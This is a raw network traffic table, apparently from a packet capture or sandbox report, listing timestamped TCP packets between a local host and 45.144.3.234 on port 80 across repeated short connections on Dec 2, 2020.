Dec 2, 2020 11:53:38.234414101 CET	49863	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:38.287364006 CET	80	49863	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:38.308756113 CET	80	49863	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:38.308835030 CET	80	49863	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:38.308924913 CET	49863	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:38.309082985 CET	49863	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:38.364501953 CET	80	49863	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:38.541636944 CET	49864	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:38.594322920 CET	80	49864	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:38.594609022 CET	49864	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:38.602222919 CET	49864	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:38.655045986 CET	80	49864	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:38.655989885 CET	49864	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:38.708775997 CET	80	49864	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:38.728997946 CET	80	49864	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:38.729027033 CET	80	49864	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:38.729181051 CET	49864	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:38.729207039 CET	49864	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:38.784696102 CET	80	49864	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:38.904696941 CET	49866	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:38.957643986 CET	80	49866	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:38.957834005 CET	49866	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:38.961338997 CET	49866	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:39.015126944 CET	80	49866	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:39.015393019 CET	49866	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:39.068842888 CET	80	49866	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:39.091332912 CET	80	49866	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:39.091372967 CET	80	49866	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:39.091526985 CET	49866	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:39.091687918 CET	49866	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:39.144315958 CET	80	49866	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:39.331469059 CET	49867	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:39.383951902 CET	80	49867	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:39.384469032 CET	49867	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:39.390388966 CET	49867	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:39.442924023 CET	80	49867	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:39.443120956 CET	49867	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:39.495834112 CET	80	49867	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:39.517182112 CET	80	49867	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:39.517231941 CET	80	49867	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:39.517362118 CET	49867	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:39.517472029 CET	49867	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:39.569928885 CET	80	49867	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:39.755434990 CET	49869	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:39.807678938 CET	80	49869	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:39.807827950 CET	49869	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:39.815212011 CET	49869	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:39.867341995 CET	80	49869	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:39.867501974 CET	49869	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:39.919962883 CET	80	49869	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:39.940459967 CET	80	49869	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:39.940483093 CET	80	49869	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:39.940577984 CET	49869	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:39.940694094 CET	49869	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:39.995011091 CET	80	49869	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:40.248302937 CET	49870	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:40.302660942 CET	80	49870	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:40.302797079 CET	49870	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:40.305916071 CET	49870	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:40.358587027 CET	80	49870	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:40.358675003 CET	49870	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:40.411305904 CET	80	49870	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:40.432230949 CET	80	49870	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:40.432287931 CET	80	49870	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:40.432523012 CET	49870	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:40.432640076 CET	49870	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:40.485151052 CET	80	49870	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:40.609244108 CET	49871	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:40.661473036 CET	80	49871	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:40.661678076 CET	49871	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:40.669919968 CET	49871	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:40.722270966 CET	80	49871	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:40.722479105 CET	49871	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:40.775104046 CET	80	49871	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:40.795722961 CET	80	49871	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:40.795753002 CET	80	49871	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:40.795909882 CET	49871	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:40.795965910 CET	49871	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:40.848496914 CET	80	49871	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:41.068084002 CET	49872	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:41.121190071 CET	80	49872	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:41.121296883 CET	49872	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:41.124373913 CET	49872	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:41.197175980 CET	80	49872	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:41.197284937 CET	49872	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:41.252159119 CET	80	49872	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:41.271989107 CET	80	49872	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:41.272025108 CET	80	49872	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:41.272089005 CET	49872	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:41.272128105 CET	49872	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:41.324942112 CET	80	49872	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:41.451344013 CET	49873	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:41.503247023 CET	80	49873	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:41.503350973 CET	49873	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:41.506474018 CET	49873	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:41.558113098 CET	80	49873	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:41.558218956 CET	49873	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:41.609883070 CET	80	49873	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:41.630264044 CET	80	49873	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:41.630315065 CET	80	49873	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:41.630388021 CET	49873	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:41.630528927 CET	49873	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:41.682096004 CET	80	49873	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:41.850534916 CET	49874	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:41.903225899 CET	80	49874	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:41.903445959 CET	49874	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:41.908529997 CET	49874	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:41.961376905 CET	80	49874	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:41.961838007 CET	49874	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:42.014751911 CET	80	49874	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:42.037555933 CET	80	49874	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:42.037599087 CET	80	49874	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:42.037792921 CET	49874	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:42.037838936 CET	49874	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:42.090663910 CET	80	49874	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:42.303910971 CET	49875	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:42.356565952 CET	80	49875	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:42.356735945 CET	49875	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:42.363986015 CET	49875	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:42.648721933 CET	49875	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:42.961201906 CET	49875	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:43.570696115 CET	49875	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:44.382122993 CET	80	49875	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:44.423307896 CET	80	49875	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:44.423357964 CET	80	49875	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:44.423388958 CET	80	49875	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:44.446561098 CET	80	49875	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:44.446609974 CET	80	49875	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:44.446713924 CET	49875	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:44.447252035 CET	49875	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:44.499388933 CET	80	49875	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:44.673971891 CET	49876	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:44.726337910 CET	80	49876	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:44.727319002 CET	49876	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:44.731017113 CET	49876	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:44.783607006 CET	80	49876	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:44.783736944 CET	49876	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:44.836077929 CET	80	49876	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:44.857261896 CET	80	49876	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:44.857295990 CET	80	49876	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:44.857456923 CET	49876	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:44.857538939 CET	49876	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:44.909871101 CET	80	49876	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:45.050667048 CET	49877	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:45.103207111 CET	80	49877	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:45.103382111 CET	49877	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:45.110817909 CET	49877	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:45.163263083 CET	80	49877	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:45.163388014 CET	49877	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:45.215890884 CET	80	49877	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:45.239439011 CET	80	49877	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:45.239474058 CET	80	49877	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:45.239610910 CET	49877	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:45.239686012 CET	49877	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:45.291980028 CET	80	49877	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:45.473335028 CET	49878	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:45.525808096 CET	80	49878	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:45.525943041 CET	49878	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:45.530514956 CET	49878	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:45.593090057 CET	80	49878	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:45.593251944 CET	49878	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:45.645926952 CET	80	49878	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:45.675241947 CET	80	49878	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:45.675282001 CET	80	49878	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:45.675451994 CET	49878	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:45.675571918 CET	49878	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:45.728193045 CET	80	49878	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:45.914829969 CET	49879	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:45.966703892 CET	80	49879	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:45.966866970 CET	49879	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:45.971009970 CET	49879	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:46.022850990 CET	80	49879	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:46.022999048 CET	49879	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:46.075485945 CET	80	49879	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:46.096854925 CET	80	49879	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:46.096900940 CET	80	49879	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:46.097079992 CET	49879	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:46.097103119 CET	49879	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:46.149228096 CET	80	49879	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:46.333570957 CET	49880	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:46.386058092 CET	80	49880	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:46.386224031 CET	49880	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:46.394583941 CET	49880	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:46.447017908 CET	80	49880	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:46.447155952 CET	49880	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:46.500629902 CET	80	49880	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:46.522598028 CET	80	49880	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:46.522624016 CET	80	49880	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:46.522792101 CET	49880	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:46.522841930 CET	49880	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:46.576479912 CET	80	49880	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:46.757225037 CET	49881	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:46.809813023 CET	80	49881	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:46.809943914 CET	49881	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:46.812716961 CET	49881	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:46.866322041 CET	80	49881	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:46.866413116 CET	49881	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:46.919950962 CET	80	49881	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:46.941849947 CET	80	49881	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:46.941869020 CET	80	49881	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:46.941957951 CET	49881	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:46.994688034 CET	80	49881	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:47.164014101 CET	49882	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:47.217607021 CET	80	49882	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:47.217736959 CET	49882	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:47.221801043 CET	49882	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:47.275010109 CET	80	49882	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:47.275233030 CET	49882	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:47.327701092 CET	80	49882	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:47.351135015 CET	80	49882	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:47.351167917 CET	80	49882	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:47.351243019 CET	49882	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:47.351280928 CET	49882	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:47.403829098 CET	80	49882	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:47.602010012 CET	49883	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:47.654807091 CET	80	49883	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:47.654953003 CET	49883	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:47.662367105 CET	49883	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:47.715044975 CET	80	49883	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:47.715826035 CET	49883	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:47.769511938 CET	80	49883	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:47.791692972 CET	80	49883	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:47.791729927 CET	80	49883	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:47.791862011 CET	49883	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:47.791973114 CET	49883	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:47.844554901 CET	80	49883	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:48.025940895 CET	49884	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:48.078469038 CET	80	49884	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:48.078668118 CET	49884	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:48.086473942 CET	49884	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:48.138578892 CET	80	49884	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:48.138742924 CET	49884	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:48.190975904 CET	80	49884	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:48.211004972 CET	80	49884	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:48.211035967 CET	80	49884	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:48.211194992 CET	49884	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:48.211338997 CET	49884	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:48.263413906 CET	80	49884	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:48.437994003 CET	49885	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:48.489897966 CET	80	49885	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:48.490041018 CET	49885	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:48.497369051 CET	49885	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:48.552171946 CET	80	49885	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:48.552340984 CET	49885	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:48.604376078 CET	80	49885	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:48.626811028 CET	80	49885	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:48.626837969 CET	80	49885	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:48.626946926 CET	49885	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:48.627118111 CET	49885	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:48.678942919 CET	80	49885	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:48.869942904 CET	49886	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:48.922439098 CET	80	49886	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:48.922646999 CET	49886	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:48.930011034 CET	49886	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:48.982949018 CET	80	49886	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:48.983072996 CET	49886	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:49.046664953 CET	80	49886	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:49.073543072 CET	80	49886	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:49.073786020 CET	49886	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:49.073812962 CET	80	49886	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:49.073936939 CET	49886	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:49.126135111 CET	80	49886	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:49.291044950 CET	49887	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:49.343102932 CET	80	49887	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:49.343255997 CET	49887	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:49.346885920 CET	49887	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:49.399246931 CET	80	49887	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:49.399409056 CET	49887	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:49.451726913 CET	80	49887	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:49.473378897 CET	80	49887	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:49.473495007 CET	80	49887	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:49.473591089 CET	49887	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:49.473809958 CET	49887	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:49.525747061 CET	80	49887	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:49.665127039 CET	49888	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:49.717783928 CET	80	49888	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:49.717941999 CET	49888	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:49.720684052 CET	49888	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:49.773799896 CET	80	49888	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:49.773900032 CET	49888	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:49.827183008 CET	80	49888	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:49.851969004 CET	80	49888	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:49.851994991 CET	80	49888	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:49.852099895 CET	49888	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:49.852494955 CET	49888	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:49.907252073 CET	80	49888	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:50.075242996 CET	49889	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:50.129091978 CET	80	49889	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:50.129208088 CET	49889	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:50.131951094 CET	49889	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:50.186650038 CET	80	49889	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:50.186764002 CET	49889	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:50.239518881 CET	80	49889	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:50.264707088 CET	80	49889	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:50.264864922 CET	49889	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:50.265106916 CET	80	49889	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:50.265202045 CET	49889	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:50.325010061 CET	80	49889	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:50.462589979 CET	49890	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:50.515288115 CET	80	49890	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:50.515614986 CET	49890	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:50.537655115 CET	49890	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:50.591325045 CET	80	49890	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:50.591460943 CET	49890	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:50.644342899 CET	80	49890	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:50.667494059 CET	80	49890	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:50.667517900 CET	80	49890	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:50.667623997 CET	49890	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:50.667726994 CET	49890	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:50.720535040 CET	80	49890	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:50.923114061 CET	49891	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:50.976140022 CET	80	49891	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:50.976397991 CET	49891	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:50.981117964 CET	49891	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:51.033353090 CET	80	49891	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:51.033487082 CET	49891	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:51.085524082 CET	80	49891	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:51.109476089 CET	80	49891	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:51.109499931 CET	80	49891	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:51.109594107 CET	49891	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:51.109740019 CET	49891	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:51.161757946 CET	80	49891	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:51.443754911 CET	49892	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:51.496546984 CET	80	49892	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:51.496678114 CET	49892	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:51.500957966 CET	49892	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:51.553682089 CET	80	49892	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:51.554539919 CET	49892	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:51.607341051 CET	80	49892	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:51.629139900 CET	80	49892	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:51.629190922 CET	80	49892	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:51.629314899 CET	49892	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:51.629362106 CET	49892	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:51.682271957 CET	80	49892	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:51.813381910 CET	49894	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:51.866904020 CET	80	49894	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:51.867057085 CET	49894	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:51.875500917 CET	49894	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:51.928060055 CET	80	49894	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:51.928212881 CET	49894	80	192.168.2.6	45.144.3.234
